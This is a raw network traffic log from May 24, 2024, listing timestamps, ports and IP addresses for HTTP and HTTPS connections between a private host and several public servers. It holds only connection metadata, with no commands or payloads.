May 24, 2024 07:54:46.543999910 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.544064045 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.545882940 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.545902014 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.545943975 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.547764063 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.547782898 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.547815084 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.549649954 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.549669027 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.549679995 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.549704075 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.549730062 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.551518917 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.551538944 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.551600933 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.553442955 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.553462982 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.553508997 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.555334091 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.555354118 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.555402040 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.557203054 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.557221889 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.557233095 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.557272911 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.558936119 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.558954954 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.558989048 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.560616970 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.560635090 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.560677052 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.562257051 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.562275887 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.562300920 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.563751936 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.563810110 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.567950964 CEST	49709	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.615756989 CEST	80	49709	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.664633989 CEST	49711	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:46.664684057 CEST	443	49711	13.107.213.45	192.168.2.16
May 24, 2024 07:54:46.664757967 CEST	49712	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:46.664757967 CEST	49711	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:46.664786100 CEST	443	49712	13.107.213.45	192.168.2.16
May 24, 2024 07:54:46.664869070 CEST	49712	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:46.665162086 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:46.665205956 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:46.665247917 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:46.665249109 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:46.665314913 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:46.665317059 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:46.665407896 CEST	49711	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:46.665419102 CEST	443	49711	13.107.213.45	192.168.2.16
May 24, 2024 07:54:46.665532112 CEST	49712	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:46.665540934 CEST	443	49712	13.107.213.45	192.168.2.16
May 24, 2024 07:54:46.665654898 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:46.665695906 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:46.665750980 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:46.665767908 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:46.739795923 CEST	80	49709	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.794195890 CEST	49709	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.875122070 CEST	49673	443	192.168.2.16	204.79.197.203
May 24, 2024 07:54:47.142071962 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.142390013 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:47.142407894 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.143857956 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.143937111 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:47.144865990 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:47.144949913 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.145024061 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:47.145031929 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.160341978 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.160727024 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.160759926 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.161632061 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.161703110 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.162548065 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.162604094 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.162688971 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.162699938 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.177118063 CEST	49673	443	192.168.2.16	204.79.197.203
May 24, 2024 07:54:47.193236113 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:47.209090948 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.282629013 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.284336090 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.284419060 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:47.284440041 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.290878057 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.290963888 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:47.290971994 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.293173075 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.293235064 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:47.293242931 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.297514915 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.297583103 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:47.297590971 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.305824041 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.305897951 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:47.305907965 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.319222927 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.328866959 CEST	443	49711	13.107.213.45	192.168.2.16
May 24, 2024 07:54:47.329169989 CEST	49711	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:47.329195976 CEST	443	49711	13.107.213.45	192.168.2.16
May 24, 2024 07:54:47.330202103 CEST	443	49711	13.107.213.45	192.168.2.16
May 24, 2024 07:54:47.330276966 CEST	49711	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:47.330291033 CEST	443	49712	13.107.213.45	192.168.2.16
May 24, 2024 07:54:47.330610037 CEST	49712	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:47.330624104 CEST	443	49712	13.107.213.45	192.168.2.16
May 24, 2024 07:54:47.331101894 CEST	49711	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:47.331171989 CEST	443	49711	13.107.213.45	192.168.2.16
May 24, 2024 07:54:47.331253052 CEST	49711	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:47.331260920 CEST	443	49711	13.107.213.45	192.168.2.16
May 24, 2024 07:54:47.331507921 CEST	443	49712	13.107.213.45	192.168.2.16
May 24, 2024 07:54:47.331569910 CEST	49712	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:47.332204103 CEST	49712	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:47.332257032 CEST	443	49712	13.107.213.45	192.168.2.16
May 24, 2024 07:54:47.332346916 CEST	49712	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:47.332354069 CEST	443	49712	13.107.213.45	192.168.2.16
May 24, 2024 07:54:47.339283943 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.339308023 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.339350939 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.339514017 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.339514971 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.339586973 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.339632988 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.339663982 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.341257095 CEST	49715	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:47.341288090 CEST	443	49715	13.107.213.45	192.168.2.16
May 24, 2024 07:54:47.341361046 CEST	49715	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:47.341567993 CEST	49715	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:47.341578007 CEST	443	49715	13.107.213.45	192.168.2.16
May 24, 2024 07:54:47.351083040 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:47.351092100 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.369623899 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.369688034 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:47.369695902 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.371916056 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.371969938 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:47.371975899 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.374259949 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.374295950 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.374309063 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:47.374315023 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.374368906 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:47.376539946 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.378842115 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.378904104 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:47.378916025 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.381117105 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.381146908 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.381171942 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:47.381181955 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.381227016 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:47.383194923 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.383258104 CEST	49712	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:47.383259058 CEST	49711	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:47.383749008 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.384618998 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.384675026 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:47.384685040 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.389036894 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.389087915 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:47.389098883 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.389149904 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.389209032 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:47.389261961 CEST	49714	443	192.168.2.16	104.17.24.14
May 24, 2024 07:54:47.389280081 CEST	443	49714	104.17.24.14	192.168.2.16
May 24, 2024 07:54:47.417396069 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.417429924 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.417475939 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.417495012 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.417658091 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.417658091 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.417722940 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.417785883 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.425622940 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.425671101 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.425725937 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.425741911 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.425769091 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.425793886 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.436927080 CEST	443	49711	13.107.213.45	192.168.2.16
May 24, 2024 07:54:47.437119007 CEST	443	49711	13.107.213.45	192.168.2.16
May 24, 2024 07:54:47.437187910 CEST	49711	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:47.437607050 CEST	49711	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:47.437625885 CEST	443	49711	13.107.213.45	192.168.2.16
May 24, 2024 07:54:47.465159893 CEST	443	49712	13.107.213.45	192.168.2.16
May 24, 2024 07:54:47.465331078 CEST	443	49712	13.107.213.45	192.168.2.16
May 24, 2024 07:54:47.465414047 CEST	49712	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:47.465861082 CEST	49712	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:47.465873003 CEST	443	49712	13.107.213.45	192.168.2.16
May 24, 2024 07:54:47.474953890 CEST	49716	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:47.474973917 CEST	443	49716	13.107.213.67	192.168.2.16
May 24, 2024 07:54:47.475045919 CEST	49716	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:47.475095034 CEST	49717	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:47.475100994 CEST	443	49717	13.107.213.67	192.168.2.16
May 24, 2024 07:54:47.475145102 CEST	49717	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:47.475301981 CEST	49716	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:47.475312948 CEST	443	49716	13.107.213.67	192.168.2.16
May 24, 2024 07:54:47.475421906 CEST	49717	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:47.475430012 CEST	443	49717	13.107.213.67	192.168.2.16
May 24, 2024 07:54:47.502903938 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.502963066 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.503150940 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.503150940 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.503216028 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.503289938 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.510387897 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.510440111 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.510497093 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.510510921 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.510550022 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.510570049 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.515212059 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.515302896 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.515316963 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.515394926 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.515451908 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.515552044 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.515588999 CEST	443	49713	151.101.66.137	192.168.2.16
May 24, 2024 07:54:47.515611887 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.515640020 CEST	49713	443	192.168.2.16	151.101.66.137
May 24, 2024 07:54:47.547441006 CEST	49718	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:47.579246998 CEST	80	49718	104.21.78.175	192.168.2.16
May 24, 2024 07:54:47.579350948 CEST	49718	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:47.579617977 CEST	49718	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:47.589201927 CEST	80	49718	104.21.78.175	192.168.2.16
May 24, 2024 07:54:47.783114910 CEST	49673	443	192.168.2.16	204.79.197.203
May 24, 2024 07:54:48.037744999 CEST	443	49715	13.107.213.45	192.168.2.16
May 24, 2024 07:54:48.038228035 CEST	49715	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:48.038259983 CEST	443	49715	13.107.213.45	192.168.2.16
May 24, 2024 07:54:48.038624048 CEST	443	49715	13.107.213.45	192.168.2.16
May 24, 2024 07:54:48.039604902 CEST	49715	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:48.039669991 CEST	443	49715	13.107.213.45	192.168.2.16
May 24, 2024 07:54:48.040127039 CEST	49715	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:48.086503983 CEST	443	49715	13.107.213.45	192.168.2.16
May 24, 2024 07:54:48.087528944 CEST	80	49718	104.21.78.175	192.168.2.16
May 24, 2024 07:54:48.124378920 CEST	443	49716	13.107.213.67	192.168.2.16
May 24, 2024 07:54:48.124711037 CEST	49716	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:48.124728918 CEST	443	49716	13.107.213.67	192.168.2.16
May 24, 2024 07:54:48.125621080 CEST	443	49716	13.107.213.67	192.168.2.16
May 24, 2024 07:54:48.125694036 CEST	49716	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:48.126029968 CEST	49716	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:48.126072884 CEST	443	49716	13.107.213.67	192.168.2.16
May 24, 2024 07:54:48.126269102 CEST	49716	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:48.126276016 CEST	443	49716	13.107.213.67	192.168.2.16
May 24, 2024 07:54:48.134146929 CEST	49718	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:48.166094065 CEST	49716	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:48.202605963 CEST	443	49715	13.107.213.45	192.168.2.16
May 24, 2024 07:54:48.202630997 CEST	443	49715	13.107.213.45	192.168.2.16
May 24, 2024 07:54:48.202759981 CEST	49715	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:48.202780008 CEST	443	49715	13.107.213.45	192.168.2.16
May 24, 2024 07:54:48.203923941 CEST	49715	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:48.203953028 CEST	443	49715	13.107.213.45	192.168.2.16
May 24, 2024 07:54:48.204022884 CEST	49715	443	192.168.2.16	13.107.213.45
May 24, 2024 07:54:48.207884073 CEST	49719	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:48.207912922 CEST	443	49719	13.107.213.67	192.168.2.16
May 24, 2024 07:54:48.207993031 CEST	49719	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:48.208235025 CEST	49719	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:48.208244085 CEST	443	49719	13.107.213.67	192.168.2.16
May 24, 2024 07:54:48.210400105 CEST	443	49717	13.107.213.67	192.168.2.16
May 24, 2024 07:54:48.210607052 CEST	49717	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:48.210618019 CEST	443	49717	13.107.213.67	192.168.2.16
May 24, 2024 07:54:48.212126017 CEST	443	49717	13.107.213.67	192.168.2.16
May 24, 2024 07:54:48.212236881 CEST	49717	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:48.212485075 CEST	49717	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:48.212558031 CEST	443	49717	13.107.213.67	192.168.2.16
May 24, 2024 07:54:48.212595940 CEST	49717	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:48.258502960 CEST	443	49717	13.107.213.67	192.168.2.16
May 24, 2024 07:54:48.261682034 CEST	49717	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:48.261714935 CEST	443	49717	13.107.213.67	192.168.2.16
May 24, 2024 07:54:48.277918100 CEST	443	49716	13.107.213.67	192.168.2.16
May 24, 2024 07:54:48.278000116 CEST	443	49716	13.107.213.67	192.168.2.16
May 24, 2024 07:54:48.278112888 CEST	49716	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:48.279063940 CEST	49716	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:48.279079914 CEST	443	49716	13.107.213.67	192.168.2.16
May 24, 2024 07:54:48.309111118 CEST	49717	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:48.327419043 CEST	49720	443	192.168.2.16	142.250.181.228
May 24, 2024 07:54:48.327459097 CEST	443	49720	142.250.181.228	192.168.2.16
May 24, 2024 07:54:48.327624083 CEST	49720	443	192.168.2.16	142.250.181.228
May 24, 2024 07:54:48.336147070 CEST	49720	443	192.168.2.16	142.250.181.228
May 24, 2024 07:54:48.336173058 CEST	443	49720	142.250.181.228	192.168.2.16
May 24, 2024 07:54:48.407653093 CEST	443	49717	13.107.213.67	192.168.2.16
May 24, 2024 07:54:48.407744884 CEST	443	49717	13.107.213.67	192.168.2.16
May 24, 2024 07:54:48.407820940 CEST	49717	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:48.409619093 CEST	49717	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:48.409636974 CEST	443	49717	13.107.213.67	192.168.2.16
May 24, 2024 07:54:48.443175077 CEST	49718	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:48.461111069 CEST	80	49718	104.21.78.175	192.168.2.16
May 24, 2024 07:54:48.553447008 CEST	80	49718	104.21.78.175	192.168.2.16
May 24, 2024 07:54:48.595093012 CEST	49718	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:48.836811066 CEST	49722	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:48.836849928 CEST	443	49722	152.199.21.175	192.168.2.16
May 24, 2024 07:54:48.836952925 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:48.836952925 CEST	49722	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:48.836965084 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:48.837029934 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:48.837337017 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:48.837351084 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:48.837505102 CEST	49722	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:48.837513924 CEST	443	49722	152.199.21.175	192.168.2.16
May 24, 2024 07:54:48.912755966 CEST	443	49719	13.107.213.67	192.168.2.16
May 24, 2024 07:54:48.913269043 CEST	49719	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:48.913280964 CEST	443	49719	13.107.213.67	192.168.2.16
May 24, 2024 07:54:48.913611889 CEST	443	49719	13.107.213.67	192.168.2.16
May 24, 2024 07:54:48.914076090 CEST	49719	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:48.914122105 CEST	443	49719	13.107.213.67	192.168.2.16
May 24, 2024 07:54:48.914453983 CEST	49719	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:48.958487988 CEST	443	49719	13.107.213.67	192.168.2.16
May 24, 2024 07:54:48.990109921 CEST	49673	443	192.168.2.16	204.79.197.203
May 24, 2024 07:54:48.999842882 CEST	443	49720	142.250.181.228	192.168.2.16
May 24, 2024 07:54:49.000294924 CEST	49720	443	192.168.2.16	142.250.181.228
May 24, 2024 07:54:49.000319004 CEST	443	49720	142.250.181.228	192.168.2.16
May 24, 2024 07:54:49.001754999 CEST	443	49720	142.250.181.228	192.168.2.16
May 24, 2024 07:54:49.001825094 CEST	49720	443	192.168.2.16	142.250.181.228
May 24, 2024 07:54:49.003717899 CEST	49720	443	192.168.2.16	142.250.181.228
May 24, 2024 07:54:49.003793955 CEST	443	49720	142.250.181.228	192.168.2.16
May 24, 2024 07:54:49.053072929 CEST	49720	443	192.168.2.16	142.250.181.228
May 24, 2024 07:54:49.053081989 CEST	443	49720	142.250.181.228	192.168.2.16
May 24, 2024 07:54:49.071495056 CEST	443	49719	13.107.213.67	192.168.2.16
May 24, 2024 07:54:49.071544886 CEST	443	49719	13.107.213.67	192.168.2.16
May 24, 2024 07:54:49.071639061 CEST	49719	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:49.071649075 CEST	443	49719	13.107.213.67	192.168.2.16
May 24, 2024 07:54:49.071707010 CEST	443	49719	13.107.213.67	192.168.2.16
May 24, 2024 07:54:49.071902990 CEST	49719	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:49.072427988 CEST	49719	443	192.168.2.16	13.107.213.67
May 24, 2024 07:54:49.072443008 CEST	443	49719	13.107.213.67	192.168.2.16
May 24, 2024 07:54:49.101068974 CEST	49720	443	192.168.2.16	142.250.181.228
May 24, 2024 07:54:49.263618946 CEST	49688	443	192.168.2.16	2.19.120.29
May 24, 2024 07:54:49.713120937 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:49.713464975 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:49.713495016 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:49.714955091 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:49.715063095 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:49.716312885 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:49.716384888 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:49.716587067 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:49.716595888 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:49.770112991 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:49.801955938 CEST	443	49722	152.199.21.175	192.168.2.16
May 24, 2024 07:54:49.802238941 CEST	49722	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:49.802254915 CEST	443	49722	152.199.21.175	192.168.2.16
May 24, 2024 07:54:49.803663969 CEST	443	49722	152.199.21.175	192.168.2.16
May 24, 2024 07:54:49.803741932 CEST	49722	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:49.804122925 CEST	49722	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:49.804188967 CEST	443	49722	152.199.21.175	192.168.2.16
May 24, 2024 07:54:49.804289103 CEST	49722	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:49.804296017 CEST	443	49722	152.199.21.175	192.168.2.16
